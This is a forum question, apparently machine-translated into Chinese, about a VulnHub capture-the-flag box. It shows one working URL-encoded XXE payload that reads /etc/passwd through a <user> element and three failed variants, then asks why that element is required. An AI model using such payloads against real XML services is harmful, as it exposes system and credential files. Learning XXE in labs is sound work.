如何解决哪些标签用于避免 xxe、xml 注入中的过滤器
我这样做是为了捕获标志：https://blog.mzfr.me/vulnhub-writeups/2019-08-24-scare
我正在测试 xxe 的有效负载，但没有一个有效，即使在对某些字符进行 url 编码后
在我在这里发布的演练中，我看到他的有效载荷与我使用的有效载荷太相似
我发现他对查询进行了 dobble 标记，第二个标记必须是“用户”，否则它将不起作用
这是有效的payload
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+[<!ENTITY+test+SYstem+'file%3a///etc/passwd'>]><root><user>%26test%3b</user></root>
这里是一些我使用过但没有用的有效载荷
%3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYstem+"file%3a///etc/passwd">]><xxe>%26xmli%3b</xxe>
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYstem+"file%3a///etc/passwd">]><xxe><e>%26xmli%3b</e></xxe>
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYstem+'file%3a///etc/passwd'>]><xxe><e>%26xmli%3b</e></xxe>
我的问题是： 为什么它必须是标签“用户”，我怎么知道我需要使用它？ 为什么要使用 dobble 标签？
提前谢谢你，为我的英语感到抱歉
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。
